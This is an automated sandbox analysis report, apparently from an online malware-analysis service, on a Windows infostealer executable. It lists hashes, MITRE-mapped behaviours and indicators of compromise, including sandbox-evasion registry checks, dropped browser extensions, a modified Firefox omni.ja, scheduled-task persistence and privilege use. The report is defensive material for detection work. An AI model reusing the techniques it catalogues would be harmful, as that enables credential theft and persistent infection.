8f3739a48f3309a717d2010c14e4c6f7c7b4c212940024cc5937b43d7d914e10

Analysis

max time kernel
169s
max time network
262s
platform
windows10-1703_x64
resource
win10-20240611-en
resource tags

arch:x64arch:x86image:win10-20240611-enlocale:en-usos:windows10-1703-x64system
submitted
13-06-2024 23:33

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

8f3739a48f3309a717d2010c14e4c6f7c7b4c212940024cc5937b43d7d914e10.exe
Size

7.2MB
MD5

e278adf5246b60f8e5653edffc392a22
SHA1

c6a84dc11abd4e8c7e38c4de101d20e82b3367c8
SHA256

8f3739a48f3309a717d2010c14e4c6f7c7b4c212940024cc5937b43d7d914e10
SHA512

2d1865dc8cf84bf949aeba0a2046de20422b89d7f1d9671fe129093cf2f35935435d86d50d554081a0ce717023c2508ad6185eccd8257acea0f27369f7b49787
SSDEEP

196608:91OlvS60q2O3aLSw0ocLHZbLuwRwyKreZE:3OFSHSKe9oUHPOxeZE

Score

8^/10

discovery execution spyware stealer

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

Processes:

rundll32.exe

flow pid process

33 856 rundll32.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.EXEpowershell.exepowershell.exe

pid process

4904 powershell.exe
676 powershell.exe
2140 powershell.exe
1516 powershell.EXE
980 powershell.exe
4848 powershell.exe

flow	pid	process
33	856	rundll32.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

rundll32.exeInstall.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe

Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

MXFlCHO.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000\Control Panel\International\Geo\Nation MXFlCHO.exe
Executes dropped EXE 4 IoCs

Processes:

Install.exeInstall.exeInstall.exeMXFlCHO.exe

pid process

3564 Install.exe
780 Install.exe
1784 Install.exe
4148 MXFlCHO.exe
Loads dropped DLL 1 IoCs

Processes:

rundll32.exe

pid process

856 rundll32.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000\Control Panel\International\Geo\Nation	MXFlCHO.exe

pid	process
3564	Install.exe
780	Install.exe
1784	Install.exe
4148	MXFlCHO.exe

pid	process
856	rundll32.exe

Drops Chrome extension 2 IoCs

Processes:

MXFlCHO.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\manifest.json	MXFlCHO.exe
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\manifest.json	MXFlCHO.exe

Drops desktop.ini file(s) 1 IoCs

Processes:

Install.exe

description ioc process

File opened for modification C:\$RECYCLE.BIN\S-1-5-18\desktop.ini Install.exe

description	ioc	process
File opened for modification	C:\$RECYCLE.BIN\S-1-5-18\desktop.ini	Install.exe

Drops file in System32 directory 35 IoCs

Processes:

rundll32.exepowershell.exepowershell.exeMXFlCHO.exepowershell.exepowershell.exeInstall.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	rundll32.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData	MXFlCHO.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content	MXFlCHO.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E52E4DB9468EB31D663A0754C2775A04	MXFlCHO.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	MXFlCHO.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	MXFlCHO.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E52E4DB9468EB31D663A0754C2775A04	MXFlCHO.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	MXFlCHO.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E87CE99F124623F95572A696C80EFCAF_0E84AD23AC2E74B30DEF739614C7EB94	MXFlCHO.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\A16C6C16D94F76E0808C087DFC657D99_89FBEB9EEBFF8AABF1EBFA20B87AFE7E	MXFlCHO.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\265C0DEB29181DD1891051371C5F863A_95776108E5303B05527E9B63C6628F47	MXFlCHO.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	MXFlCHO.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	MXFlCHO.exe
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	MXFlCHO.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE	MXFlCHO.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft	MXFlCHO.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache	MXFlCHO.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	MXFlCHO.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\A16C6C16D94F76E0808C087DFC657D99_89FBEB9EEBFF8AABF1EBFA20B87AFE7E	MXFlCHO.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\265C0DEB29181DD1891051371C5F863A_95776108E5303B05527E9B63C6628F47	MXFlCHO.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5	MXFlCHO.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\History\History.IE5	MXFlCHO.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751	MXFlCHO.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E87CE99F124623F95572A696C80EFCAF_0E84AD23AC2E74B30DEF739614C7EB94	MXFlCHO.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	MXFlCHO.exe
File created	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	Install.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies	MXFlCHO.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751	MXFlCHO.exe

Drops file in Program Files directory 14 IoCs

Processes:

MXFlCHO.exe

description	ioc	process
File opened for modification	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	MXFlCHO.exe
File created	C:\Program Files (x86)\KDIdGNeaPBYNADfhwFR\IQlYoDq.dll	MXFlCHO.exe
File created	C:\Program Files (x86)\JbudRisgU\stYkoL.dll	MXFlCHO.exe
File created	C:\Program Files (x86)\KDIdGNeaPBYNADfhwFR\qrVDylp.xml	MXFlCHO.exe
File created	C:\Program Files (x86)\VloXEwfyUAdsC\GzSTGHr.dll	MXFlCHO.exe
File created	C:\Program Files (x86)\zpocSIDFTSWU2\bsDtJYQkaoKLI.dll	MXFlCHO.exe
File created	C:\Program Files (x86)\BspasHMSlPUn\mtslXUt.dll	MXFlCHO.exe
File created	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	MXFlCHO.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja	MXFlCHO.exe
File created	C:\Program Files (x86)\JbudRisgU\nBtEyWy.xml	MXFlCHO.exe
File created	C:\Program Files (x86)\VloXEwfyUAdsC\heGCxyl.xml	MXFlCHO.exe
File created	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	MXFlCHO.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	MXFlCHO.exe
File created	C:\Program Files (x86)\zpocSIDFTSWU2\WrVVPHN.xml	MXFlCHO.exe

Drops file in Windows directory 4 IoCs

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exe

description	ioc	process
File created	C:\Windows\Tasks\bqHlMUmkmlcBkJQYdf.job	schtasks.exe
File created	C:\Windows\Tasks\upHNLFTuuiluCLfgh.job	schtasks.exe
File created	C:\Windows\Tasks\lRoQVRoUFrjOsqP.job	schtasks.exe
File created	C:\Windows\Tasks\QGYoMddbcQsigCFfl.job	schtasks.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Program crash 3 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exe

pid pid_target process target process

1952 1784 WerFault.exe Install.exe
1916 780 WerFault.exe Install.exe
4284 4148 WerFault.exe MXFlCHO.exe

pid	pid_target	process	target process
1952	1784	WerFault.exe	Install.exe
1916	780	WerFault.exe	Install.exe
4284	4148	WerFault.exe	MXFlCHO.exe

Creates scheduled task(s) 1 TTPs 10 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid	process
1168	schtasks.exe
464	schtasks.exe
2424	schtasks.exe
4400	schtasks.exe
3384	schtasks.exe
4480	schtasks.exe
3884	schtasks.exe
652	schtasks.exe
3896	schtasks.exe
692	schtasks.exe

Enumerates system info in registry 2 TTPs 4 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

Install.exerundll32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	rundll32.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.exepowershell.exeMXFlCHO.exepowershell.exepowershell.exeInstall.exepowershell.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	MXFlCHO.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	Install.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	MXFlCHO.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	MXFlCHO.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{4f38e779-0000-0000-0000-d01200000000}\NukeOnDelete = "0"	Install.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	MXFlCHO.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	Install.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\OnDemandInterfaceCache	MXFlCHO.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	Install.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	MXFlCHO.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	Install.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	MXFlCHO.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe

Suspicious behavior: EnumeratesProcesses 58 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.EXEpowershell.exeMXFlCHO.exepowershell.exe

pid	process
4904	powershell.exe
4904	powershell.exe
4904	powershell.exe
676	powershell.exe
676	powershell.exe
676	powershell.exe
2140	powershell.exe
2140	powershell.exe
2140	powershell.exe
4176	powershell.exe
4176	powershell.exe
4176	powershell.exe
2832	powershell.exe
2832	powershell.exe
2832	powershell.exe
1516	powershell.EXE
1516	powershell.EXE
1516	powershell.EXE
980	powershell.exe
980	powershell.exe
980	powershell.exe
4148	MXFlCHO.exe
4148	MXFlCHO.exe
4148	MXFlCHO.exe
4148	MXFlCHO.exe
4148	MXFlCHO.exe
4148	MXFlCHO.exe
4148	MXFlCHO.exe
4148	MXFlCHO.exe
4148	MXFlCHO.exe
4148	MXFlCHO.exe
4148	MXFlCHO.exe
4148	MXFlCHO.exe
4148	MXFlCHO.exe
4148	MXFlCHO.exe
4148	MXFlCHO.exe
4148	MXFlCHO.exe
4848	powershell.exe
4848	powershell.exe
4848	powershell.exe
4148	MXFlCHO.exe
4148	MXFlCHO.exe
4148	MXFlCHO.exe
4148	MXFlCHO.exe
4148	MXFlCHO.exe
4148	MXFlCHO.exe
4148	MXFlCHO.exe
4148	MXFlCHO.exe
4148	MXFlCHO.exe
4148	MXFlCHO.exe
4148	MXFlCHO.exe
4148	MXFlCHO.exe
4148	MXFlCHO.exe
4148	MXFlCHO.exe
4148	MXFlCHO.exe
4148	MXFlCHO.exe
4148	MXFlCHO.exe
4148	MXFlCHO.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exepowershell.exeWMIC.exepowershell.exepowershell.exepowershell.exepowershell.EXEpowershell.exepowershell.exeWMIC.exe

description	pid	process
Token: SeDebugPrivilege	4904	powershell.exe
Token: SeDebugPrivilege	676	powershell.exe
Token: SeIncreaseQuotaPrivilege	4852	WMIC.exe
Token: SeSecurityPrivilege	4852	WMIC.exe
Token: SeTakeOwnershipPrivilege	4852	WMIC.exe
Token: SeLoadDriverPrivilege	4852	WMIC.exe
Token: SeSystemProfilePrivilege	4852	WMIC.exe
Token: SeSystemtimePrivilege	4852	WMIC.exe
Token: SeProfSingleProcessPrivilege	4852	WMIC.exe
Token: SeIncBasePriorityPrivilege	4852	WMIC.exe
Token: SeCreatePagefilePrivilege	4852	WMIC.exe
Token: SeBackupPrivilege	4852	WMIC.exe
Token: SeRestorePrivilege	4852	WMIC.exe
Token: SeShutdownPrivilege	4852	WMIC.exe
Token: SeDebugPrivilege	4852	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4852	WMIC.exe
Token: SeRemoteShutdownPrivilege	4852	WMIC.exe
Token: SeUndockPrivilege	4852	WMIC.exe
Token: SeManageVolumePrivilege	4852	WMIC.exe
Token: 33	4852	WMIC.exe
Token: 34	4852	WMIC.exe
Token: 35	4852	WMIC.exe
Token: 36	4852	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4852	WMIC.exe
Token: SeSecurityPrivilege	4852	WMIC.exe
Token: SeTakeOwnershipPrivilege	4852	WMIC.exe
Token: SeLoadDriverPrivilege	4852	WMIC.exe
Token: SeSystemProfilePrivilege	4852	WMIC.exe
Token: SeSystemtimePrivilege	4852	WMIC.exe
Token: SeProfSingleProcessPrivilege	4852	WMIC.exe
Token: SeIncBasePriorityPrivilege	4852	WMIC.exe
Token: SeCreatePagefilePrivilege	4852	WMIC.exe
Token: SeBackupPrivilege	4852	WMIC.exe
Token: SeRestorePrivilege	4852	WMIC.exe
Token: SeShutdownPrivilege	4852	WMIC.exe
Token: SeDebugPrivilege	4852	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4852	WMIC.exe
Token: SeRemoteShutdownPrivilege	4852	WMIC.exe
Token: SeUndockPrivilege	4852	WMIC.exe
Token: SeManageVolumePrivilege	4852	WMIC.exe
Token: 33	4852	WMIC.exe
Token: 34	4852	WMIC.exe
Token: 35	4852	WMIC.exe
Token: 36	4852	WMIC.exe
Token: SeDebugPrivilege	2140	powershell.exe
Token: SeDebugPrivilege	4176	powershell.exe
Token: SeDebugPrivilege	2832	powershell.exe
Token: SeDebugPrivilege	1516	powershell.EXE
Token: SeDebugPrivilege	980	powershell.exe
Token: SeDebugPrivilege	4848	powershell.exe
Token: SeAssignPrimaryTokenPrivilege	212	WMIC.exe
Token: SeIncreaseQuotaPrivilege	212	WMIC.exe
Token: SeSecurityPrivilege	212	WMIC.exe
Token: SeTakeOwnershipPrivilege	212	WMIC.exe
Token: SeLoadDriverPrivilege	212	WMIC.exe
Token: SeSystemtimePrivilege	212	WMIC.exe
Token: SeBackupPrivilege	212	WMIC.exe
Token: SeRestorePrivilege	212	WMIC.exe
Token: SeShutdownPrivilege	212	WMIC.exe
Token: SeSystemEnvironmentPrivilege	212	WMIC.exe
Token: SeUndockPrivilege	212	WMIC.exe
Token: SeManageVolumePrivilege	212	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	212	WMIC.exe
Token: SeIncreaseQuotaPrivilege	212	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

8f3739a48f3309a717d2010c14e4c6f7c7b4c212940024cc5937b43d7d914e10.exeInstall.exeInstall.execmd.exeforfiles.execmd.exeforfiles.execmd.exeforfiles.execmd.exeforfiles.execmd.exeforfiles.execmd.exeforfiles.execmd.exepowershell.exe

description	pid	process	target process
PID 4472 wrote to memory of 3564	4472	8f3739a48f3309a717d2010c14e4c6f7c7b4c212940024cc5937b43d7d914e10.exe	Install.exe
PID 4472 wrote to memory of 3564	4472	8f3739a48f3309a717d2010c14e4c6f7c7b4c212940024cc5937b43d7d914e10.exe	Install.exe
PID 4472 wrote to memory of 3564	4472	8f3739a48f3309a717d2010c14e4c6f7c7b4c212940024cc5937b43d7d914e10.exe	Install.exe
PID 3564 wrote to memory of 780	3564	Install.exe	Install.exe
PID 3564 wrote to memory of 780	3564	Install.exe	Install.exe
PID 3564 wrote to memory of 780	3564	Install.exe	Install.exe
PID 780 wrote to memory of 2468	780	Install.exe	cmd.exe
PID 780 wrote to memory of 2468	780	Install.exe	cmd.exe
PID 780 wrote to memory of 2468	780	Install.exe	cmd.exe
PID 2468 wrote to memory of 3468	2468	cmd.exe	forfiles.exe
PID 2468 wrote to memory of 3468	2468	cmd.exe	forfiles.exe
PID 2468 wrote to memory of 3468	2468	cmd.exe	forfiles.exe
PID 3468 wrote to memory of 4428	3468	forfiles.exe	cmd.exe
PID 3468 wrote to memory of 4428	3468	forfiles.exe	cmd.exe
PID 3468 wrote to memory of 4428	3468	forfiles.exe	cmd.exe
PID 4428 wrote to memory of 2348	4428	cmd.exe	reg.exe
PID 4428 wrote to memory of 2348	4428	cmd.exe	reg.exe
PID 4428 wrote to memory of 2348	4428	cmd.exe	reg.exe
PID 2468 wrote to memory of 3152	2468	cmd.exe	forfiles.exe
PID 2468 wrote to memory of 3152	2468	cmd.exe	forfiles.exe
PID 2468 wrote to memory of 3152	2468	cmd.exe	forfiles.exe
PID 3152 wrote to memory of 2236	3152	forfiles.exe	cmd.exe
PID 3152 wrote to memory of 2236	3152	forfiles.exe	cmd.exe
PID 3152 wrote to memory of 2236	3152	forfiles.exe	cmd.exe
PID 2236 wrote to memory of 464	2236	cmd.exe	reg.exe
PID 2236 wrote to memory of 464	2236	cmd.exe	reg.exe
PID 2236 wrote to memory of 464	2236	cmd.exe	reg.exe
PID 2468 wrote to memory of 2420	2468	cmd.exe	forfiles.exe
PID 2468 wrote to memory of 2420	2468	cmd.exe	forfiles.exe
PID 2468 wrote to memory of 2420	2468	cmd.exe	forfiles.exe
PID 2420 wrote to memory of 3504	2420	forfiles.exe	cmd.exe
PID 2420 wrote to memory of 3504	2420	forfiles.exe	cmd.exe
PID 2420 wrote to memory of 3504	2420	forfiles.exe	cmd.exe
PID 3504 wrote to memory of 3796	3504	cmd.exe	reg.exe
PID 3504 wrote to memory of 3796	3504	cmd.exe	reg.exe
